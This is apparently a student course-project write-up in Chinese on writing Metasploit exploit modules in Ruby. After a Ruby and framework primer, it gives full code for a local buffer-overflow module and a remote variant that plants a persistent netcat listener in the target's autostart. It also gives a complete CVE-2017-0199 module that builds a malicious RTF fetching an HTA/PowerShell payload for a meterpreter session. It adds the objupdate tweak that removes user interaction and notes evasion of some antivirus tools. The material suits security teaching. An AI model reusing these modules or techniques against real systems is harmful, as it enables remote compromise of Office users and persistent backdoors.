20145208 蔡野 《网络对抗》免考项目 MSF学习

20145208 蔡野 《网络对抗》免考项目 MSF Exploit模块开发

题目:MSF Exploit模块开发

摘要

  • 本免考项目的目标是通过对msf模块的设计语言--ruby和exploit模块设计框架的学习,了解如何通过已知的漏洞开放一个针对这个漏洞的攻击模块。
  • 在开始的准备工作包括ruby的基本知识的学习和理解,以及exploit模块设计框架的了解和初步的实践,在初步实践时选择课上使用的存在漏洞的可执行文件作为目标,熟悉exploit模块的开发过程;在熟悉开发过程后针对一个新的具有普遍性的漏洞进行开放攻击模块的工作;通过上面的三步(基础知识学习--模块开发练习--针模块开发实践)来掌握msf中exploit模块的开发,学习了解对漏洞的利用和攻击方法。
  • 实践的工作环境是在kali操作系统中完成msf的开发过程。在模块开发练习的过程中,目标对象是linux系统下的可执行文件并利用了nc的远程漏洞;在针对普遍性漏洞的模块开发时,选择的是一个新的漏洞(CVE-2017-0199),该漏洞利用word执行脚本,选择的目标主机是安装了腾讯电脑管家和360安全卫士的win7操作系统。
  • 最终成果:成功实现了上述思路和下述计划。利用pwn文件开发了针对本地漏洞应用的攻击模块和针对远程漏洞的攻击模块;成功利用CVE-2017-0199漏洞开发了攻击模块成功攻击目标主机。在实践过程中同时学习了payload模块的基本框架和设计原理。

计划内容

1.学习Ruby语言及MSF Exploit开发框架

2.开发针对本地漏洞应用的攻击模块

3.开发针对远程漏洞的攻击模块

4.分析当前某可用漏洞,开发针对的攻击模块

实践过程

Ruby语言学习

什么是ruby语言?

  • Ruby是一种纯粹的面向对象编程语言。

  • ruby语言的特点:

    • Ruby是开源的,在Web上免费提供,但需要一个许可证。
    • Ruby是一种通用的、解释的编程语言。
    • Ruby是一种真正的面向对象编程语言。
    • Ruby是一种类似于 Python 和 Perl 的服务器端脚本语言。
    • Ruby可以用来编写通用网关接口(CGI)脚本。
    • Ruby可以被嵌入到超文本标记语言(HTML)。
    • Ruby语法简单,这使得新的开发人员能够快速轻松地学习 Ruby。
    • Ruby与 C++ 和 Perl 等许多编程语言有着类似的语法。
    • Ruby可扩展性强,用 Ruby 编写的大程序易于维护。
    • Ruby可用于开发的 Internet 和 Intranet 应用程序。
    • Ruby可以安装在 Windows 和 POSIX 环境中。
    • Ruby支持许多 GUI 工具,比如 Tcl/Tk、GTK 和 OpenGL。
    • Ruby可以很容易地连接到 DB2、MySQL、Oracle 和 Sybase。
    • Ruby有丰富的内置函数,可以直接在 Ruby 脚本中使用。
  • 在msf中就使用ruby语言来编写各个模块,这也是为什么学习ruby语言的主要原因。

ruby语言的基本内容

  • 所有的Ruby文件扩展名都是.rb,在msf的各个模块中的文件也都是rb文件。
  • 就像学习c语言和java语言时一样,第一个学习的就是helloworld:
puts "Hello, Ruby!";
  • 在ruby语言中最常用的输出函数就是puts。
  • ruby语言在应用规则上和其他的语言有很多类似共同的地方,所以在接下来的介绍中主要介绍msf编程设计中常用到的一些语法类型。
  • 和C和java这样的语言明显不同的是Ruby把分号和换行符解释为语句的结尾。如果 Ruby 在行尾遇到运算符,比如 +、- 或反斜杠,它们表示一个语句的延续。
  • Ruby 标识符是大小写敏感的。这意味着PATH和path在Ruby中是两个不同的标识符。
  • 在msf设计中,主要需要掌握类的创建、继承,I/O类应用和函数/方法的定义和使用。
  • 在定义函数的时候define_method和def机制类似的,只是def更高效,define_method是动态定义方法而已,并且define_method可以使用局部的变量,大多数时候使用的还是def来定义函数。
  • Ruby 支持五种类型的变量。
    • 一般小写字母、下划线开头:变量(Variable)。
    • $开头:全局变量(Global variable)。
    • @开头:实例变量(Instance variable)。
    • @@开头:类变量(Class variable)类变量被共享在整个继承链中。
    • 大写字母开头:常数(Constant。
  • Ruby 点运算符 "." 和双冒号运算符 "::"
    • 可以通过在方法名称前加上类或模块名称和.来调用类或模块中的方法。你可以使用类或模块名称和两个冒号::来引用类或模块中的常量。
    • :: 是一元运算符,允许在类或模块内定义常量、实例方法和类方法,可以从类或模块外的任何地方进行访问。在 Ruby 中,类和方法也可以被当作常量。只需要在表达式的常量名前加上::前缀,即可返回适当的类或模块对象。如果:: 前的表达式为类或模块名称,则返回该类或模块内对应的常量值;如果::前没有前缀表达式,则返回主Object类中对应的常量值。
  • 在定义方法的时候可以定义一个简单的方法,如下所示:
def method_name
expr..
end
  • 也可以定义一个接受参数的方法,如下所示:
def method_name (var1, var2)
expr..
end
  • 调用的时候只需要使用方法名即可:method_name
  • Ruby 中的每个方法默认都会返回一个值。这个返回的值是最后一个语句的值。例如:
def test
i = 100
j = 10
k = 0
end
  • 在调用这个方法时,将返回最后一个声明的变量 k。也可以使用 Ruby 中的 return 语句用于从 Ruby 方法中返回一个或多个值。
  • require 语句类似于 C 和 C++ 中的 include 语句以及 Java 中的 import 语句。如果一个第三方的程序想要使用任何已定义的模块,则可以简单地使用 Ruby require 语句来加载模块文件,比如msf模块中最常用的:require 'msf/core'
  • 可以在类中嵌入模块。为了在类中嵌入模块,您可以在类中使用 include 语句:include Msf::Exploit::FILEFORMAT,如果模块是定义在一个单独的文件中,那么在嵌入模块之前就需要使用 require 语句引用该文件。
  • Ruby 字符串分为单引号字符串(')和双引号字符串("),区别在于双引号字符串能够支持更多的转义字符。
  • 字符串内建方法:
    • 使用puts "#{foo}"来调用已经定义的字符串
    • 使用str + other_str来连接两个字符串 other_str 到 str。
    • str.chomp:从字符串末尾移除记录分隔符($/),通常是 \n。如果没有记录分隔符,则不进行任何操作。
    • str.delete(other_str, ...):返回 str 的副本,参数交集中的所有字符会被删除。
    • str.delete!(other_str, ...):与 delete 相同,但是 str 会发生变化并返回。
    • str.each_line(separator=$/) { |substr| block }:使用参数作为记录分隔符(默认是 $/)分隔 str,传递每个子字符串给被提供的 block。
    • str.gsub(pattern, replacement) [or] str.gsub(pattern) { |match| block }:返回 str 的副本,pattern 的所有出现都替换为 replacement 或 block 的值。pattern 通常是一个正则表达式 Regexp;如果是一个字符串 String,则没有正则表达式元字符被解释(即,/\d/ 将匹配一个数字,但 '\d' 将匹配一个反斜杠后跟一个 'd')。
    • str.gsub!(pattern, replacement) [or] str.gsub!(pattern) { |match| block }:执行 String#gsub 的替换,返回 str,如果没有替换被执行则返回 nil。
  • 可以使用 File.new 方法创建一个 File 对象用于读取、写入或者读写,读写权限取决于 mode 参数。最后写完文件后,可以使用 File.close 方法来关闭该文件。
  • 可以使用 File.open 方法创建一个新的 file 对象,并把该 file 对象赋值给文件。但是,File.open 和 File.new 方法之间有一点不同。不同点是 File.open 方法可与块关联,而 File.new 方法不能。

MSF Exploit开发框架

MSF Exploit简介

  • Metasploit Framework 已经发布了新的版本,开发组采用了Ruby 语言,这就是为什么之前学习ruby语言的原因,接下来就要学习MSF的Exploit模块开发框架。
  • metasploit基础库文件位于源码根目录路径下的libraries目录中,包括Rex,framework-core和framework-base三部分。
    • Rex是整个框架所依赖的最基础的一些组件,如包装的网络套接字、网络应用协议客户端与服务端实现、日志子系统、渗透攻击支持例程、PostgreSQL以及MySQL数据库支持等;
    • framework-core库负责实现所有与各种类型的上层模块及插件的交互接口;
    • framework-base库扩展了framework-core,提供更加简单的包装例程,并未处理框架各个方面的功能提供了一些功能类,用于支持用户接口与功能程序调用框架本身功能及框架集成模块;
    • 模块是通过Metasploit框架所装载、集成并对外提供的最核心的渗透测试功能实现代码。分为辅助模块(Aux)、渗透攻击模块(Exploits)、后渗透攻击模块(Post)、攻击载荷模块(payloads)、编码器模块(Encoders)、空指令模块(Nops)。这些模块拥有非常清晰的结构和一个预定义好的接口,并可以组合支持信息收集、渗透攻击与后渗透攻击拓展。在这里主要学习渗透攻击模块。
  • 对于一些名词的解释:
    • Exploit : 能够进行攻击并得到目标系统控制权的恶意代码,经典的exploit 由payload 和injector(注入程序)组成,payload 负责取得系统的控制权,而注入程序负责将payload 注射到相应的有漏洞的系统中;
    • Payload : 其实就是广义上的shellcode,被翻译成“有效载荷”;
    • Shellcode : 攻击程序的核心代码,能够取得系统的控制权,一般是取得一个 shell,是一些汇编代码抽取成的16 进制码;
    • Injector : 相对shellcode 来说,它实现加载和发送shellcode,提供返回地址等功能;
    • B-Attacker : Buffer Attack Strings,指“无用字符段+返回地址+shellcode”的组合体,通常用来填充有漏洞的缓冲区,然后等待获取控制权并执行shellcode;
    • Encoder : 编码器,防止shellcode 因为意外发生中断而附加在exploit 里的一段代码,主要功能是实现shellcode 的保护;
    • Decoder : 解码器,由于shellcode 经过encode后已经无法被正确解释执行,故需要进行解码还原成原来的shellcode,一般集成在shellcode 里;

Exploit开发框架

  • 对于Exploit 的开发,让人联想到的是汇编语言、程序设计、对操作系统结构的熟悉掌握,但是如果利用MSF 开发,将大大简化这个过程。
    • 1)确定目标漏洞信息:可以通过网上查询漏洞资料了解信息。
      1. 确定注射器injector:一般injector 负责三件事:加载shellcode,填充返回地址,发送shellcode。
    • 3)确定shellcode
    • 4)完成exploit
  • 那么整个开发框架大概如下:
1 $payload = ”......”;
2 $string = “...”;
3 $string .= “A” x 32;
4 $string .= “\x7b\x94\x81\x7c”;
5 $string .= $payload;
6 open(NC, “|nc.exe 127.0.0.1 80″);
7 print NC $string;
8 close(NC);
  • 其中,标号1处为payload,2-98即为injector,3是填充字符串,4 为返回地址,6-8 为发送代码,处理网络通信。而整个$string即是B-Attacker。
  • 核心的事情就是确认返回地址。

Exploit集成

  • info 结构:
my $info =
{
‘Name’ => ‘IIS 4.0 .HTR Buffer Overflow’,
‘Version’ => ‘$Revision: 1.7 $’,
‘Authors’ => [ 'Stinko', ],
‘Arch’ => [ 'x86' ],
‘OS’ => [ 'win32', 'winnt' ],
‘Priv’ => 0,
}
  • 很容易理解,Name 是指exploit 的名称,Version 指版本号,Authors 指作者,Arch 指目标系统的系统结构,OS 指系统信息,Priv 指是否需要管理员权限。
  • register_options结构:
register_options([
OptString.new('FILENAME', [ true, 'The file name.', 'msf.doc']),
OptString.new('URIPATH', [ true, 'The URI to use for the HTA file', 'default.hta'])
], self.class)
  • register_options就是指需要用户输入的值,比如FILENAME指文件名,这里每个子键包括三个参数,第一个指是否是必须设置的;第二个是对该子键的描述;第三个是默认设置的值。
  • payload:
’Payload’ =>
{
‘Space’ => 2048,
‘MaxNops’ => 0,
‘MinNops’ => 0,
‘BadChars’ =>,
},
  • Space 子键的作用是设定载荷的最大大小,如果这个值比较小,那么引擎会尝试所有的编码器,直到所有的编码器都无法使载荷达到预定的大小要求;接下来两项是空字段的大小;BadChars 指定编码器要删除的不符合要求的字符。
’Description’  =>%q{
//此处省略
},
  • Description 指对exploit 的描述信息,这个子键里的内容将被传递给Pex::Text::Freeform()处理并按照一定格式显示。
’Refs’  =>
[
['OSVDB', ''],
['BID', ''],
['CVE', ''],
['URL', ''],
['MIL', ''],
],
  • Refs 子键相当于参考资料说明
’DefaultTarget’ => 0,
’Targets’ => [
['Windows XX', 593, 0x77f81a4d],
['Windows XX', 593, 0x77f7635d],
['Windows XX', 589, 0x77f76385],
],
  • Targets 子键指定目标系统的操作系统类型,因为不同的payload 要运行在正确的系统上。
  • 三个参数分别表示系统类型,返回地址位置和返回地址值。
  • DefaultTarget 用来指定默认的操作系统,比如此例中0 指向Windows NT4 SP3 。
’Keys’ => ['iis'],
’DisclosureDate’ => ‘XXXXXX′,
  • Keys子键用于MSF 过滤,而DisclosureDate 指exploit 的公布日期。

开发针对本地漏洞应用的攻击模块

  • 这部分内容我选择的在课上用到的pwn文件来作为本地攻击对象。
  • 该漏洞中填充长度、返回地址位置和返回地址值的获取在之前的博客中有介绍。博客链接
  • 这里主要体现msf中模块的内容,模块设计的如下:
require 'msf/core'
class MetasploitModule < Msf::Exploit
Rank = GreatRanking
def initialize(info = {})
super(update_info(info,
'Name' => 'local_pwn',
'Description' => %q(
local exploits
),
'License' => MSF_LICENSE,
'Author' =>
[
'caiye',
'20145208'
],
'Platform' => [ 'linux'],
'Arch' => [ ARCH_X86, ARCH_X64 ], 'Targets' =>
[
[ 'Linux x86', { 'Arch' => ARCH_X86 } ],
[ 'Linux x64', { 'Arch' => ARCH_X64 } ]
],
'DefaultTarget' => 0, 'References' =>
[ ],
'DisclosureDate' => "04 17 2017"
))
register_options([
OptString.new("Inputfile_PATH", [ true, "FILE PATH", "/root/20145208/input" ]),
OptString.new("Thepwn_PATH", [ true, "FILE PATH", "/root/20145208/pwnx" ]), ])
end
def exploit
用来填充的字符串
str="11111111"+
"22222222"+
"33333333"+
"44444444"
返回地址
addr="\x7d\x84\x04\x08"
两个字符串连接
buf= str + addr
将攻击字符串写入文件
inputfile = File.new("#{datastore['Inputfile_PATH']}","w")
inputfile.print("#{buf}")
inputfile.close
将文件内容作为被攻击对象的输入值
output = system("(cat #{datastore['Inputfile_PATH']};cat)|#{datastore['Thepwn_PATH']}")
获得返回结果
output.each_line { |line| vprint_status(line.chomp) }
end
end
  • 运行结果如下:

20145208 蔡野 《网络对抗》免考项目 MSF学习

  • 用此方法执行本地攻击有一个缺陷,就是无法进行更多操作,只能获取命令行,如果想进行更多操作如文件权限的修改等,就需要用到retaddr+nop+shellcode的方式攻击,通过不同的shellcode达到不同的攻击方式:

20145208 蔡野 《网络对抗》免考项目 MSF学习

  • 但是惨遭失败:

20145208 蔡野 《网络对抗》免考项目 MSF学习

  • 测试发现,原因是在msf内部执行可执行文件pwnx时,文件的返回地址是变化的,和在外部执行的时候是不一样,而且通过gdb的方式是测试不出msf中运行可执行文件的返回地址的:

20145208 蔡野 《网络对抗》免考项目 MSF学习

  • 而之前的方式可以成功的原因是函数的地址是不变的,是事先设定好的。
  • 同时发现攻击载荷是没有问题的,可以在msf外部顺利使用:

20145208 蔡野 《网络对抗》免考项目 MSF学习

  • 所以,retaddr+nop+shellcode的方式其实是可以结合远程漏掉使用在远程攻击模块上面的。

开发针对远程漏洞的攻击模块

  • 这次我把pwn文件作为一个恶意文件发送到远程计算机(Linux操作系统)中,然后利用有漏洞的网络服务--nc来对目标进行攻击。
  • nc的利用如果自己来编写一个恶意程序的话在编写的时候就可以加入进去nc的使用,如一旦运行就识别文件目录并执行nc -l -p 端口 -t -e 文件位置来接受网络上的数据作为文件的输入,在本次实验中使用的是已经写好的可执行文件,那么可以将这个命令加入到自启动项目里就可以隐蔽的建立nc连接了:

20145208 蔡野 《网络对抗》免考项目 MSF学习

  • 将攻击代码稍作修改:

20145208 蔡野 《网络对抗》免考项目 MSF学习

  • 然后攻击方就可以对被攻击方进行攻击了:

20145208 蔡野 《网络对抗》免考项目 MSF学习

  • 关键的地方是返回地址容易错误,这里需要注意返回地址需要填写建立后nc后调试出的返回地址(设置关闭地址随机化后调试一次就可以了,不必每次都调试):

20145208 蔡野 《网络对抗》免考项目 MSF学习

  • 上面测试了getshell的功能,getshell的payload是自行编写的:

20145208 蔡野 《网络对抗》免考项目 MSF学习

  • 接下来测试其他的功能,如meterpreter的功能:

20145208 蔡野 《网络对抗》免考项目 MSF学习

  • 可以看到成功的效果,理论上其他的一些payload也都可以这样进行使用。
  • 其实针对exploit模块的开发,主要难度在于对漏洞信息的利用,掌握了漏洞信息再确定shellcode等信息的插入点,一个exploit模块的开发也就完成了大半。

分析当前某可用漏洞,开发针对的攻击模块

漏洞分析

  • 选择的当前漏洞是CVE-2017-0199漏洞,针对的是Microsoft Office RTF文档的漏洞。当用户打开包含该漏洞利用代码的文档时,恶意代码就会下载并执行包含PowerShell命令的Visual Basic脚本。恶意Office文档正是利用了漏洞CVE-2017-0199来在受感染设备上下载并执行恶意Payload。

  • 攻击的整个过程如下:

      1. 攻击者向目标用户发送一个嵌入了OLE2文件(对象链接)的Word文档。
      1. 当用户打开文档之后,winword.exe会向远程服务器发送一个HTTP请求,并获取一个恶意HTA文件。
      1. 服务器返回的这个文件是一个伪造的RTF文件,其中嵌入了恶意脚本。
      1. Winword.exe会通过一个COM对象来查询HTA文件处理器,而这一行为将会使微软HTA应用(mshta.exe)加载并执行恶意脚本。
  • 首先对于漏洞进行测试,从上面对攻击过程中可以知道需要在目标word文档中嵌入对象链接,这里我连接到我的kali中的apache服务器:

20145208 蔡野 《网络对抗》免考项目 MSF学习

  • 在kali中要在apache对应的WEB目录下放入一个rtf文件作为请求更新的返回文件,其中写入脚本(此处是打开计算器,非恶意,可以替换为恶意):

20145208 蔡野 《网络对抗》免考项目 MSF学习

  • 同时确保apache配置文件conf/mime.types里面有rtf的content type项:

20145208 蔡野 《网络对抗》免考项目 MSF学习

  • 此时双击对象链接会显示rtf文件里面的20145208,但不执行脚本:

20145208 蔡野 《网络对抗》免考项目 MSF学习

  • 此时在apache配置文件conf/mime.types中把application/rtf rtf修改成:application/hta rtf重启apache后,清除IE缓存再双击对象,此时虽然访问的还是1.rtf文件,但是服务器的Content-type会返回application/hta,而word就以hta脚本的方式打开文件:

20145208 蔡野 《网络对抗》免考项目 MSF学习

  • 这样的poc还是需要用户双击对象进行交互的,那么怎么样才能自动运行对象呢?这里就需要把文件保存成rtf格式后用文本编辑器打开刚保存的rtf文件,找到object标签所在的地方:

  • {\object\objautlink\rsltpict修改成:{\object\objautlink\objupdate\rsltpict,objupdate这个标签的作用是可以自动更新对象,保存文件再重新打开。此时无需用户交互就可直接运行hta脚本。

攻击模块开发

  • 模块设计代码如下:
require 'msf/core'

class MetasploitModule < Msf::Exploit::Remote

  Rank = ExcellentRanking

  include Msf::Exploit::FILEFORMAT
include Msf::Exploit::Remote::HttpServer::HTML def initialize(info = {})
super(update_info(info,
'Name' => "Microsoft Office Word Malicious Hta Execution",
'Description' => %q{
This module creates a malicious RTF file that when opened in vulnerable versions of Microsoft Word will lead to code execution.
},
'Author' =>
[
'20145208cy',
],
'License' => MSF_LICENSE,
'References' => [
['CVE', '2017-0199'],
],
'Platform' => 'win',
'Targets' =>
[
[ 'Microsoft Office Word', {} ]
],
'DefaultOptions' =>
{
'DisablePayloadHandler' => false
},
'DefaultTarget' => 0,
'Privileged' => false,
'DisclosureDate' => '6 24 2017'))
register_options([
OptString.new('FILENAME', [ true, 'The file name.', 'msf.doc']),
OptString.new('URIPATH', [ true, 'The URI to use for the HTA file', 'default.hta'])
], self.class)
end def generate_uri
uri_maxlength = 112
host = datastore['SRVHOST'] == '0.0.0.0' ? Rex::Socket.source_address : datastore['SRVHOST']
scheme = datastore['SSL'] ? 'https' : 'http'
uri = "#{scheme}://#{host}:#{datastore['SRVPORT']}#{'/' + Rex::FileUtils.normalize_unix_path(datastore['URIPATH'])}"
uri = Rex::Text.hexify(Rex::Text.to_unicode(uri))
uri.delete!("\n")
uri.delete!("\\x")
uri.delete!("\\") padding_length = uri_maxlength * 2 - uri.length
fail_with(Failure::BadConfig, "please use a uri < #{uri_maxlength} bytes ") if padding_length.negative?
padding_length.times { uri << "0" } uri
end def create_ole_ministream_data
ministream_data = ""
ministream_data << "01000002090000000100000000000000" # 00000000: ................
ministream_data << "0000000000000000a4000000e0c9ea79" # 00000010: ...............y
ministream_data << "f9bace118c8200aa004ba90b8c000000" # 00000020: .........K......
ministream_data << generate_uri
ministream_data << "00000000795881f43b1d7f48af2c825d" # 000000a0: ....yX..;..H.,.]
ministream_data << "c485276300000000a5ab0000ffffffff" # 000000b0: ..'c............
ministream_data << "0609020000000000c000000000000046" # 000000c0: ...............F
ministream_data << "00000000ffffffff0000000000000000" # 000000d0: ................
ministream_data << "906660a637b5d2010000000000000000" # 000000e0: .f`.7...........
ministream_data << "00000000000000000000000000000000" # 000000f0: ................
ministream_data << "100203000d0000000000000000000000" # 00000100: ................
ministream_data << "00000000000000000000000000000000" # 00000110: ................
ministream_data << "00000000000000000000000000000000" # 00000120: ................
ministream_data << "00000000000000000000000000000000" # 00000130: ................
ministream_data << "00000000000000000000000000000000" # 00000140: ................
ministream_data << "00000000000000000000000000000000" # 00000150: ................
ministream_data << "00000000000000000000000000000000" # 00000160: ................
ministream_data << "00000000000000000000000000000000" # 00000170: ................
ministream_data << "00000000000000000000000000000000" # 00000180: ................
ministream_data << "00000000000000000000000000000000" # 00000190: ................
ministream_data << "00000000000000000000000000000000" # 000001a0: ................
ministream_data << "00000000000000000000000000000000" # 000001b0: ................
ministream_data << "00000000000000000000000000000000" # 000001c0: ................
ministream_data << "00000000000000000000000000000000" # 000001d0: ................
ministream_data << "00000000000000000000000000000000" # 000001e0: ................
ministream_data << "00000000000000000000000000000000" # 000001f0: ................ ministream_data
end def create_rtf_format
template_path = ::File.join(Msf::Config.data_directory, "exploits", "cve-2017-0199.rtf")
template_rtf = ::File.open(template_path, 'rb')
data = template_rtf.read(template_rtf.stat.size)
data.gsub!('MINISTREAM_DATA', create_ole_ministream_data)
template_rtf.close data
end def on_request_uri(cli, req)
p = regenerate_payload(cli)
data = Msf::Util::EXE.to_executable_fmt(
framework,
ARCH_X86,
'win',
p.encoded,
'hta-psh',
{ :arch => ARCH_X86, :platform => 'win' }
)
data.sub!(/\n/, "\nwindow.moveTo -4000, -4000\n")
send_response(cli, data, 'Content-Type' => 'application/hta')
end def exploit
file_create(create_rtf_format)
super
end
end
  • 对攻击模块的设计,首先结合漏洞的信息,漏洞核心是更新对象的时候获得一个带有恶意脚本的文件,然后以hta方式运行脚本,所以构造一个可以插入恶意脚本的rtf文件是攻击模块的核心内容,经过分析和查找相关内容,结合之前做的那个rtf文件可以得出下图中蓝色部分可以作为插入点:

20145208 蔡野 《网络对抗》免考项目 MSF学习

  • 将蓝字部分改为MINISTREAM_DATA然后通过如下图的方式进行插入替换:

20145208 蔡野 《网络对抗》免考项目 MSF学习

  • 替换内容中的generate_uri是请求更新对象的地址目录信息,通过另外一个函数方法实现,函数返回值是uri:

20145208 蔡野 《网络对抗》免考项目 MSF学习

20145208 蔡野 《网络对抗》免考项目 MSF学习

  • 文件的内容具备了,然后使用 file_create(create_rtf_format)函数产生一个名为自己设置的文件,之后把这个文件发给对方。
  • 当目标打开了文件之后会发起一个申请,所以模块中还需要设计一个对申请的处理,我们用来攻击的payload也在这里添加进去发给对方:

20145208 蔡野 《网络对抗》免考项目 MSF学习

  • 对方收到之后将会使微软HTA应用(mshta.exe)加载并执行恶意脚本。
  • 如添加了meterpreter的payload之后,对方打开文件后msf中会收到新的会话,通过这些会话就可以进行meterpreter的一些攻击操作了:

20145208 蔡野 《网络对抗》免考项目 MSF学习

20145208 蔡野 《网络对抗》免考项目 MSF学习

  • 漏洞在4、5月来说还是比较新的,一些不是专业杀毒的安全软件检查不出,如腾讯电脑管家和360安全卫士。但是发现6月开始基本上都可以检测出漏洞的信息了,不过测试了腾讯电脑管家发现,他不是根据特征码查杀,可是根据行为,当准备利用微软HTA应用(mshta.exe)加载并执行恶意脚本会进行提示这是一个漏洞行为,询问是否阻止,这在5月份实验的过程中是没有的。
上一篇:20145208 蔡野 《网络对抗》Exp8 Web基础


下一篇:安全增强 Linux (SELinux) 剖析